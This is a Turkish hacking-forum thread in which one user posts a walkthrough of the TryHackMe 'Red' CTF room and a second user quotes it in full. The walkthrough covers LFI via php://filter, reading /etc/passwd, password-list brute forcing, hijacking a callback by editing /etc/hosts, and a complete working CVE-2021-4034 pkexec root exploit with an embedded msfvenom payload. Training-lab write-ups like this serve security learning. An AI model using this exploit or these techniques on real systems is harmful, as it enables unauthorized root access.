TryHackMe | Red

Will Graham

Katılımcı Üye
14 Eki 2022
581
489
merhabalar, bu konumda tryhackme.com platformu üzerinde ki red isimli ctf'nin çözümünü göstereceğim.

ilk olarak bir port taraması yapalım sonra çıktıya göre işlemlerimizi devam ettiririz.


pnfj3r8.png


tarama sonucunda 2 portun açık olduğunu görüyoruz şu anlık 22 port üzerinden yapabileceğimiz bir şey yok. 80 portuna erişmek için ip adresini tarayıcıya yapıştırdığımızda ise home.html sayfasına yönlendiriyor. url kısmına baktığımızda index.php dosyasının page parametresi ile gelen dosyayı kendi koduna eklediğini görebiliyoruz. yani burada muhtemel bir local file inclusion açığı mevcut.

sayfa içerisinde bulunmayan bir dosyaya erişmeye çalıştığımızda ise home.html sayfasına geri döndürüyor bizi. bunu geçebilmek için php://filter/convert.base64-encode/resource= kodunu kullandığımızda ise 2 farklı filtrelemeden geçerek bize dosya içeriğini gösterdiğini görüyoruz.


1exhnmg.png


burası ile ilgili bir işlem yapmamıza gerek yok çünkü hali hazırda php://filter/convert.base64-encode/resource= kodunu kullanarak istediğimiz dosyayı görüntüleyebiliyoruz. uygulamada ki diğer dosya ve dizinleri ffuf ile bulmaya çalıştığımızda, bulduklarımızdan farklı bir dosya göstermediğinden yapabileceğimiz tek bir şey kalıyor; o da sistemde ki dosyaları aramaktır.

biraz önce
/var/www/html dizini altında farklı bir dosya bulamadık (web uygulamasının içerisinde ki dosyalar genelde bu dizinde bulunuyor). şimdi ise /home dizini altında ki kullanıcıların bulunduğu dizinde arama yapacağız. ilk önce sistemde ki kullanıcıları bulmak için /etc/passwd dosyasını okuyalım sonra ise ffuf ile bir dosya taraması gerçekleştirelim.

f0cfva4.png


gördüğünüz gibi blue ve red olmak üzere iki kullanıcı mevcut. ffuf ile taramayı yapmadan önce sistemde olmayan bir dosyayı görüntülemeye çalıştığımızda ekrana hiç bir verinin yansımadığını görüyoruz. ffuf aracının bulamadığı dosyaları göstermemesi için -fs komutu ile beraber 0 değerini giriyoruz. sayfada ki karakter sayısı 0 ise bu sayfayı bize göstermeyecek.

69wbosx.png


tarama sonucunda /home/blue dizini altında 3 dosya olduğunu gördük. ilk dosyaya baktığımızda hashcat yazılımı ile bulunduğu dizinde ki .reminder dosyasında bulunan verileri belli kurallar çerçevesinde şifre listesine çevirdiğini görüyoruz.

ftkgj5e.png


.reminder dosyasının içeriğini alıp aynı komutu kendi terminalimizde çalıştırdığımızda elimizde bir şifre listesi oluyor. tahmini olarak bu listede ki şifreleri brute force ile blue kullanıcısı üzerinde denememizi istiyor.

op0e7u4.png


şifreyi bulduğumuza göre blue kullanıcısına giriş yapabiliriz.

m8oqn6i.png


giriş yaptıktan sonra bulmamız gereken 3 bayraktan birini /home/blue dizini altında bulduk. bu arada içerde ki kişi ara ara bağlantıyı koparıp blue kullanıcısının şifresini oluşturduğumuz şifre listesinde ki herhangi bir şifre ile değiştiriyor. bu yüzden şifre listesi ile tekrar brute force işlemi yapmamız gerekecektir.

ls -la /home/red/ komutunu kullandığımızda ikinci bayrağı görebiliyoruz fakat okumak için yetkimiz olmadığından bayrağı alamıyoruz. okuyabilmemiz için red kullanıcına geçiş yapmamız gerek. sistemde biraz bilgi topladıktan sonra arka planda red kullanıcısı adına redrules.thm adresinin 9001 portuna bir bağlantı gönderildiğini görüyoruz.


nkflywu.png


eğer sistemde ki /etc/hosts dosyasının içerisine redrules.thm adresi altında ip adresimizi eklersek bağlantı bizim dinlediğimiz 9001 portuna gelecektir, böylelikle red kullanıcısına yükselip ikinci bayrağı okuyabileceğiz. eğer bir süre bağlantı gelmez ise tekrardan /etc/hosts dizinine adresinizi girin. içerde ki kişi orayı da silip duruyor.

e5ls554.png


evet ikinci bayrağımıza da ulaştık şimdi sonuncusunu almamız gerekiyor, bu bayrakta /root dizininde olmalı. bayrağı okuyabilmek için /root dizine erişebilmemiz gerekiyor, /root dizinine erişmek içinde root kullanıcısının yetkisinde olmamız gerekiyor. resimden de göreceğiniz üzere bulunduğumuz dizinde .git dizini var ve içerisinde pkexec dosyası var. versiyonu da istismar edilmeye uygun. internetten bir exploit indirelim, düzenleyelim ve çalıştıralım.

Python:
#!/usr/bin/env python3

# CVE-2021-4034 in Python
#
# Joe Ammond ([email protected])
#
# This was just an experiment to see whether I could get this to work
# in Python, and to play around with ctypes

# This was completely cribbed from blasty's original C code:
# https://haxx.in/files/blasty-vs-pkexec.c

import base64
import os
import sys

from ctypes import *
from ctypes.util import find_library

# Payload, base64 encoded ELF shared object. Generate with:
#
# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
#
# The PrependSetuid=true is important, without it you'll just get
# a shell as the user and not root.
#
# Should work with any msfvenom payload, tested with linux/x64/exec
# and linux/x64/shell_reverse_tcp

payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)

# Set the environment for the call to execve()
environ = [
        b'exploit',
        b'PATH=GCONV_PATH=.',
        b'LC_MESSAGES=en_US.UTF-8',
        b'XAUTHORITY=../LOL',
        None
]

# Find the C library to call execve() directly, as Python helpfully doesn't
# allow us to call execve() with no arguments.
try:
    libc = CDLL(find_library('c'))
except:
    print('[!] Unable to find the C library, wtf?')
    sys.exit()

# Create the shared library from the payload
print('[+] Creating shared library for exploit code.')
try:
    with open('payload.so', 'wb') as f:
        f.write(payload)
except:
    print('[!] Failed creating payload.so.')
    sys.exit()
os.chmod('payload.so', 0o0755)

# make the GCONV_PATH directory
try:
    os.mkdir('GCONV_PATH=.')
except FileExistsError:
    print('[-] GCONV_PATH=. directory already exists, continuing.')
except:
    print('[!] Failed making GCONV_PATH=. directory.')
    sys.exit()

# Create a temp exploit file
try:
    with open('GCONV_PATH=./exploit', 'wb') as f:
        f.write(b'')
except:
    print('[!] Failed creating exploit file')
    sys.exit()
os.chmod('GCONV_PATH=./exploit', 0o0755)

# Create directory to hold gconf-modules configuration file
try:
    os.mkdir('exploit')
except FileExistsError:
    print('[-] exploit directory already exists, continuing.')
except:
    print('[!] Failed making exploit directory.')
    sys.exit()

# Create gconf config file
try:
    with open('exploit/gconv-modules', 'wb') as f:
        f.write(b'module  UTF-8//    INTERNAL    ../payload    2\n');
except:
    print('[!] Failed to create gconf-modules config file.')
    sys.exit()

# Convert the environment to an array of char*
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ

print('[+] Calling execve()')
# Call execve() with NULL arguments
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)
link: CVE-2021-4034/CVE-2021-4034.py at main · joeammond/CVE-2021-4034

kodda ki
/usr/bin/pkexec alanını /home/red/.git/pkexec olarak düzenleyip çalıştırdıktan sonra root kullanıcısına geçmiş oluyoruz.

q10e2ek.png


makine linki: tryhackme.com/room/redisl33t
 
Son düzenleme:

Arenklord

Uzman üye
9 Mar 2023
1,294
666
Orta doğu
merhabalar, bu konumda tryhackme.com platformu üzerinde ki red isimli ctf'nin çözümünü göstereceğim.

ilk olarak bir port taraması yapalım sonra çıktıya göre işlemlerimizi devam ettiririz.


pnfj3r8.png


tarama sonucunda 2 portun açık olduğunu görüyoruz şu anlık 22 port üzerinden yapabileceğimiz bir şey yok. 80 portuna erişmek için ip adresini tarayıcıya yapıştırdığımızda ise home.html sayfasına yönlendiriyor. url kısmına baktığımızda index.php dosyasının page parametresi ile gelen dosyayı kendi koduna eklediğini görebiliyoruz. yani burada muhtemel bir local file inclusion açığı mevcut.

sayfa içerisinde bulunmayan bir dosyaya erişmeye çalıştığımızda ise home.html sayfasına geri döndürüyor bizi. bunu geçebilmek için php://filter/convert.base64-encode/resource= kodunu kullandığımızda ise 2 farklı filtrelemeden geçerek bize dosya içeriğini gösterdiğini görüyoruz.


1exhnmg.png


burası ile ilgili bir işlem yapmamıza gerek yok çünkü hali hazırda php://filter/convert.base64-encode/resource= kodunu kullanarak istediğimiz dosyayı görüntüleyebiliyoruz. uygulamada ki diğer dosya ve dizinleri ffuf ile bulmaya çalıştığımızda, bulduklarımızdan farklı bir dosya göstermediğinden yapabileceğimiz tek bir şey kalıyor; o da sistemde ki dosyaları aramaktır.

biraz önce
/var/www/html dizini altında farklı bir dosya bulamadık (web uygulamasının içerisinde ki dosyalar genelde bu dizinde bulunuyor). şimdi ise /home dizini altında ki kullanıcıların bulunduğu dizinde arama yapacağız. ilk önce sistemde ki kullanıcıları bulmak için /etc/passwd dosyasını okuyalım sonra ise ffuf ile bir dosya taraması gerçekleştirelim.

f0cfva4.png


gördüğünüz gibi blue ve red olmak üzere iki kullanıcı mevcut. ffuf ile taramayı yapmadan önce sistemde olmayan bir dosyayı görüntülemeye çalıştığımızda ekrana hiç bir verinin yansımadığını görüyoruz. ffuf aracının bulamadığı dosyaları göstermemesi için -fs komutu ile beraber 0 değerini giriyoruz. sayfada ki karakter sayısı 0 ise bu sayfayı bize göstermeyecek.

69wbosx.png


tarama sonucunda /home/blue dizini altında 3 dosya olduğunu gördük. ilk dosyaya baktığımızda hashcat yazılımı ile bulunduğu dizinde ki .reminder dosyasında bulunan verileri belli kurallar çerçevesinde şifre listesine çevirdiğini görüyoruz.

ftkgj5e.png


.reminder dosyasının içeriğini alıp aynı komutu kendi terminalimizde çalıştırdığımızda elimizde bir şifre listesi oluyor. tahmini olarak bu listede ki şifreleri brute force ile blue kullanıcısı üzerinde denememizi istiyor.

op0e7u4.png


şifreyi bulduğumuza göre blue kullanıcısına giriş yapabiliriz.

m8oqn6i.png


giriş yaptıktan sonra bulmamız gereken 3 bayraktan birini /home/blue dizini altında bulduk. bu arada içerde ki kişi ara ara bağlantıyı koparıp blue kullanıcısının şifresini oluşturduğumuz şifre listesinde ki herhangi bir şifre ile değiştiriyor. bu yüzden şifre listesi ile tekrar brute force işlemi yapmamız gerekecektir.

ls -la /home/red/ komutunu kullandığımızda ikinci bayrağı görebiliyoruz fakat okumak için yetkimiz olmadığından bayrağı alamıyoruz. okuyabilmemiz için red kullanıcına geçiş yapmamız gerek. sistemde biraz bilgi topladıktan sonra arka planda red kullanıcısı adına redrules.thm adresinin 9001 portuna bir bağlantı gönderildiğini görüyoruz.


nkflywu.png


eğer sistemde ki /etc/hosts dosyasının içerisine redrules.thm adresi altında ip adresimizi eklersek bağlantı bizim dinlediğimiz 9001 portuna gelecektir, böylelikle red kullanıcısına yükselip ikinci bayrağı okuyabileceğiz. eğer bir süre bağlantı gelmez ise tekrardan /etc/hosts dizinine adresinizi girin. içerde ki kişi orayı da silip duruyor.

e5ls554.png


evet ikinci bayrağımıza da ulaştık şimdi sonuncusunu almamız gerekiyor, bu bayrakta /root dizininde olmalı. bayrağı okuyabilmek için /root dizine erişebilmemiz gerekiyor, /root dizinine erişmek içinde root kullanıcısının yetkisinde olmamız gerekiyor. resimden de göreceğiniz üzere bulunduğumuz dizinde .git dizini var ve içerisinde pkexec dosyası var. versiyonu da istismar edilmeye uygun. internetten bir exploit indirelim, düzenleyelim ve çalıştıralım.

Python:
#!/usr/bin/env python3

# CVE-2021-4034 in Python
#
# Joe Ammond ([email protected])
#
# This was just an experiment to see whether I could get this to work
# in Python, and to play around with ctypes

# This was completely cribbed from blasty's original C code:
# https://haxx.in/files/blasty-vs-pkexec.c

import base64
import os
import sys

from ctypes import *
from ctypes.util import find_library

# Payload, base64 encoded ELF shared object. Generate with:
#
# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
#
# The PrependSetuid=true is important, without it you'll just get
# a shell as the user and not root.
#
# Should work with any msfvenom payload, tested with linux/x64/exec
# and linux/x64/shell_reverse_tcp

payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)

# Set the environment for the call to execve()
environ = [
        b'exploit',
        b'PATH=GCONV_PATH=.',
        b'LC_MESSAGES=en_US.UTF-8',
        b'XAUTHORITY=../LOL',
        None
]

# Find the C library to call execve() directly, as Python helpfully doesn't
# allow us to call execve() with no arguments.
try:
    libc = CDLL(find_library('c'))
except:
    print('[!] Unable to find the C library, wtf?')
    sys.exit()

# Create the shared library from the payload
print('[+] Creating shared library for exploit code.')
try:
    with open('payload.so', 'wb') as f:
        f.write(payload)
except:
    print('[!] Failed creating payload.so.')
    sys.exit()
os.chmod('payload.so', 0o0755)

# make the GCONV_PATH directory
try:
    os.mkdir('GCONV_PATH=.')
except FileExistsError:
    print('[-] GCONV_PATH=. directory already exists, continuing.')
except:
    print('[!] Failed making GCONV_PATH=. directory.')
    sys.exit()

# Create a temp exploit file
try:
    with open('GCONV_PATH=./exploit', 'wb') as f:
        f.write(b'')
except:
    print('[!] Failed creating exploit file')
    sys.exit()
os.chmod('GCONV_PATH=./exploit', 0o0755)

# Create directory to hold gconf-modules configuration file
try:
    os.mkdir('exploit')
except FileExistsError:
    print('[-] exploit directory already exists, continuing.')
except:
    print('[!] Failed making exploit directory.')
    sys.exit()

# Create gconf config file
try:
    with open('exploit/gconv-modules', 'wb') as f:
        f.write(b'module  UTF-8//    INTERNAL    ../payload    2\n');
except:
    print('[!] Failed to create gconf-modules config file.')
    sys.exit()

# Convert the environment to an array of char*
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ

print('[+] Calling execve()')
# Call execve() with NULL arguments
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)
link: CVE-2021-4034/CVE-2021-4034.py at main · joeammond/CVE-2021-4034

kodda ki
/usr/bin/pkexec alanını /home/red/.git/pkexec olarak düzenleyip çalıştırdıktan sonra root kullanıcısına geçmiş oluyoruz.

q10e2ek.png


makine linki: tryhackme.com/room/redisl33t
Eline sağlık :)
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.